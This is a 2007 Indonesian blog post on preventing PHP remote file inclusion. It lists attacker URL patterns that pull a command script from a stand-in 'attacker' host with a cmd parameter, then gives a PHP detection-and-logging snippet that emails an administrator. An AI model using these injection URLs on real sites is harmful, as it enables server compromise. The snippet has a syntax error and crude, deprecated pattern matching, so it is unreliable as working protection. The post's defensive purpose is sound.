LaGiPusHinGWitH ---- IT

Navigation

Home |

Categories

Monthly Archives

Most recent entries

Syndicate

Site Credits

Powered by:
ExpressionEngine

Design by:
BlogMoxie

PHP Injection Prevent

Category: Security
Author: roninmorgue
Date: January, 01st 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/

----------------------------------------------------------------------------------

Affected Description
`````````````````````

Serangan web dewasa ini semakin banyak memanfaatkan vulnerabillity pada script PHP, yaitu saat seorang programmer tidak
melakukan sanitasi input pada script yang dia buat, disaat register_globals ON dan allow_fopen_url maka seorang attacker
dapat melakukan injeksi pada script PHP yang vulnerable secara remote.

Caranya yaitu dengan mengeksekusi script vulnerable dengan meng-inject melalui url dari server attacker yang telah berisi
script untuk melakukan exploitasi.
Dampak ini dapat dihilangkan dengan men-set register_globals OFF, tetapi cara ini kurang effektif karena banyak aplikasi
third party yang mengharuskan register_globals ON.

Better Solutions
``````````````````

Teknik-teknik PHP Injection yang sering digunakan oleh attacker :

1. cmd.jpg?&cmd;=<unix command>
2. cmd.gif&cmd;=<unix command>
3. http://www.target.com/main.php?r=http://attacker/cmd.txt\&cmd;=<unix command>
4. http://www.target.com/main.php?r=http://attacker/cmd.txt&cmd;=<unix command>
5. cmd.jpg?cmd=<unix command>

dengan melihat url tersebut kita dapat mengambil kesimpulan bahwa :

1. attacker menyimpan script inject dalam bentuk extension jpg, gif, dan txt
2. attacker menggunakan variabel cmd untuk injection
3. attacker menggunakan beberapa kombinasi penghubung

Berdasarkan hal tersebut kita dapat membuat sebuah script sederhana untuk mensanitasi bentuk url yang dicurigai sebagai
bentuk PHP Injection, serta melakukan logging terhadap aktifitas dari attacker.

Ok...to the point, this the script :
sertakan script ini pada file konfigurasi aplikasi kita.

1. <?php
2.
3.  if (
4.  ereg('gif\?cmd',$_SERVER['REQUEST_URI']) ||
5.  ereg('gif&cmd;',$_SERVER['REQUEST_URI']) ||
6.  ereg('jpg\?cmd',$_SERVER['REQUEST_URI']) ||
7.  ereg('jpg&cmd;',$_SERVER['REQUEST_URI']) ||
8.  ereg('txt?cmd',$_SERVER['REQUEST_URI']) ||
9.  ereg('txt&cmd;',$_SERVER['REQUEST_URI']) ||
10.
11.  ereg('gif\?',$_SERVER['REQUEST_URI']) ||
12.  ereg('gif&',$_SERVER['REQUEST_URI']) ||
13.  ereg('jpg\?',$_SERVER['REQUEST_URI']) ||
14.  ereg('jpg&',$_SERVER['REQUEST_URI']) ||
15.  ereg('txt?',$_SERVER['REQUEST_URI']) ||
16.  ereg('txt&',$_SERVER['REQUEST_URI'])
17.
18.  )
19.  {
20.  // bagian untuk mencatat aktifitas hacking
21.  // dan mengirimkan email pada administrator
22. 
23.  $ip = $_SERVER['REMOTE_ADDR'];
24.  $date = date("m/d/Y g:i:s a");
25.  $referer = $_SERVER['HTTP_REFERER'];
26.  $uri = $_SERVER['REQUEST_URI']
27.
28.  $fl = fopen('log.txt', 'a');
29.  fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$uri."\n");
30.  fclose($fl);
31.  $msg = "Terdapat percobaan hacking pada server ".$_SERVER['REMOTE_ADDR']."
mencoba untuk mengeksekusi ".$_SERVER['REQUEST_URI'];
32.  mail('anstellwinkel@yahoo.com.au' ,'Percobaan hacking pada '.$_SERVER['REQUEST_URI'],$msg);
33.  die('Silahkan hentikan percobaan anda!');
34.  }
35.
36. ?>

penjelasan :

Baris 1 - 16 --> apabila ditemukan pola tersebut pada url maka script ini akan dieksekusi
Baris 23 - 30 --> mencatat IP address, tanggal, referer dan url yang digunakan oleh attacker serta mencatatnya pada
file log.txt
Baris 31 - 33 --> Mengirim semua aktifitas hacking ke email administrator

------------------------------------------------------------

Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------

Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------

Posted by roninmorgue on 08/26 at 12:04 AM
Computer Security • (0) Comments • (61) TrackbacksPermalink

Name:

Email:

Location:

URL:

Smileys

Remember my personal information

Notify me of follow-up comments?